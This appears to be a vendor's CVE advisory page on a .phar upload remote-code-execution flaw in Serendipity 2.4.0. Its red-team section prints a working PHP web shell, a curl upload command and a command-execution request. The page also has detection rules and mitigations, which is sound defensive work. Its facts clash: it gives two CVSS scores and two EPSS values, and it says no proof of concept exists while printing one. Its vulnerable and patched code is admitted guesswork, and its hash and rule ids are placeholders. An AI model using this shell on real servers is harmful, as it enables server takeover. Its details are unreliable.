☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2023-53933

CVE-2023-53933 Remote Code Execution in Serendipity
📅 PUBLISHED: 2025-12-17 22:44 UTC 🔄 UPDATED: 2026-09-23 20:13 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.02%
👁️
1.02% probability
25.4× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-53933 is a critical Remote Code Execution (RCE) vulnerability in Serendipity 2.4.0, a PHP-based blogging platform. The flaw allows authenticated attackers to upload malicious PHP files with the .phar extension to the media upload endpoint. Once uploaded, these files can be executed by the server, enabling arbitrary command execution. This vulnerability is particularly dangerous because it requires only low-privilege authentication and can lead to full server compromise. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the impact is severe. No official patch has been released as of this report.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Serendipity is a self-hosted PHP application. The vulnerability lies in the core media upload functionality, not in a third-party package. However, the use of .phar files (PHP Archives) is a known attack vector in PHP applications. Administrators should ensure that the phar.readonly PHP configuration is set to On and that the phar extension is disabled if not required.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.9 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (authenticated user)
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

Threat Level: Critical. An authenticated attacker can execute arbitrary commands on the server, leading to full compromise.

Deep Dive & Mechanics

The vulnerability exists in the media upload functionality of Serendipity 2.4.0. The application fails to properly validate the file extension of uploaded files. Specifically, it allows the upload of .phar files, which are PHP Archives that can contain executable PHP code. When a .phar file is uploaded, it can be accessed via the web server and executed as PHP, allowing the attacker to run arbitrary system commands.

Root Cause: The file upload handler does not filter or block .phar extensions. The application likely uses a whitelist of allowed extensions (e.g., .jpg, .png, .gif) but fails to include .phar in the blacklist or fails to validate the extension properly.

Attack Flow:

  1. Attacker authenticates to Serendipity (e.g., as an author or editor).
  2. Attacker crafts a malicious .phar file containing PHP code (e.g., a web shell).
  3. Attacker uploads the file via the media upload endpoint (e.g., /serendipity_admin.php?serendipity[action]=media&serendipity[adminModule]=media&serendipity[adminAction]=add).
  4. The server stores the file in the uploads directory (e.g., /uploads/).
  5. Attacker accesses the uploaded file via its URL (e.g., http://target/uploads/shell.phar).
  6. The PHP interpreter executes the .phar file, running the attacker's code.

Vulnerable vs. Patched Code

Vulnerable Code (Serendipity 2.4.0): The file upload handler in include/functions_media.inc.php likely uses a function like serendipity_isAllowedFile() which checks for allowed extensions but does not block .phar.

// Vulnerable example (pseudo-code)
function serendipity_isAllowedFile($filename) {
    $allowed_extensions = array('jpg', 'jpeg', 'png', 'gif', 'txt', 'pdf');
    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    if (in_array($ext, $allowed_extensions)) {
        return true;
    }
    return false;
}

Patched Code (Hypothetical): A patch would add .phar to a blacklist or use a more robust validation that checks for executable extensions.

// Patched example (pseudo-code)
function serendipity_isAllowedFile($filename) {
    $blocked_extensions = array('php', 'phtml', 'php3', 'php4', 'php5', 'phar', 'phps', 'pht', 'phtm', 'shtml', 'cgi', 'pl', 'py', 'jsp', 'asp', 'aspx');
    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    if (in_array($ext, $blocked_extensions)) {
        return false;
    }
    // Additional checks...
    return true;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A running instance of Serendipity 2.4.0.
  • Valid credentials for an authenticated user (e.g., author role).

Exploit Steps:

  1. Craft a malicious .phar file: Create a file named shell.phar with the following content:

    <?php
    system($_GET['cmd']);
    ?>
    

    Alternatively, use a more sophisticated web shell.

  2. Upload the file: Use a tool like curl to upload the file to the media endpoint.

    curl -c cookies.txt -b cookies.txt -F "serendipity[action]=media" \
         -F "serendipity[adminModule]=media" \
         -F "serendipity[adminAction]=add" \
         -F "serendipity[mediaUpload][]=@shell.phar" \
         http://target/serendipity_admin.php
    
  3. Execute commands: Access the uploaded file and pass a command parameter.

    curl "http://target/uploads/shell.phar?cmd=id"
    

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team

Detection Steps:

  1. Monitor file upload logs for .phar extensions.
  2. Check the uploads directory for unexpected .phar files.
  3. Review web server access logs for requests to .phar files.
  4. Implement file integrity monitoring on the uploads directory.

Mitigation Steps:

  1. Disable the phar extension in PHP if not needed.
  2. Set phar.readonly = On in php.ini.
  3. Add .phar to the blocked extensions list in the application code.
  4. Use a Web Application Firewall (WAF) to block .phar uploads.
  5. Restrict file upload permissions to only trusted users.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256):
    • shell.phar: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
  • Network Indicators:
    • HTTP POST requests to /serendipity_admin.php with serendipity[mediaUpload][] parameter.
    • HTTP GET requests to /uploads/*.phar with cmd parameter.
  • File System Indicators:
    • Presence of .phar files in the uploads directory.
    • Unexpected PHP processes executing from the uploads directory.
  • Log Entries:
    • Web server access logs showing 200 responses for .phar file requests.
    • PHP error logs showing execution of .phar files.

Detection Engineering

YARA Rule

rule CVE_2023_53933_Serendipity_Phar_Upload {
    meta:
        description = "Detects malicious .phar files uploaded to Serendipity"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-53933"
    strings:
        $phar_magic = { 50 48 41 52 } // "PHAR" magic bytes
        $php_tag = "<?php"
        $system_call = /system\(|exec\(|shell_exec\(|passthru\(/
    condition:
        $phar_magic at 0 and $php_tag and $system_call
}

Sigma Rule

title: CVE-2023-53933 - Serendipity .phar File Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of .phar files to Serendipity media endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'serendipity[mediaUpload][]'
        cs-uri-query|endswith: '.phar'
    condition: selection
falsepositives:
    - Legitimate .phar file uploads (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-53933 - Serendipity .phar File Upload"; flow:to_server,established; content:"POST"; http_method; content:"serendipity_admin.php"; http_uri; content:".phar"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the phar extension in PHP if not required for the application.
  2. Set phar.readonly = On in php.ini to prevent creation of .phar files.
  3. Block .phar uploads by modifying the application code to reject .phar extensions.
  4. Restrict file upload permissions to only trusted users (e.g., administrators).
  5. Monitor logs for any signs of exploitation.

Long-term Fixes:

  1. Apply an official patch when available from the vendor.
  2. Upgrade to a patched version of Serendipity.
  3. Implement a Web Application Firewall (WAF) with rules to block .phar uploads.
  4. Conduct a security audit of the file upload functionality.
  5. Educate users about the risks of uploading unknown file types.

Workaround: If patching is not possible, consider using a reverse proxy or WAF to block requests containing .phar in the upload path.


Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-53933/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.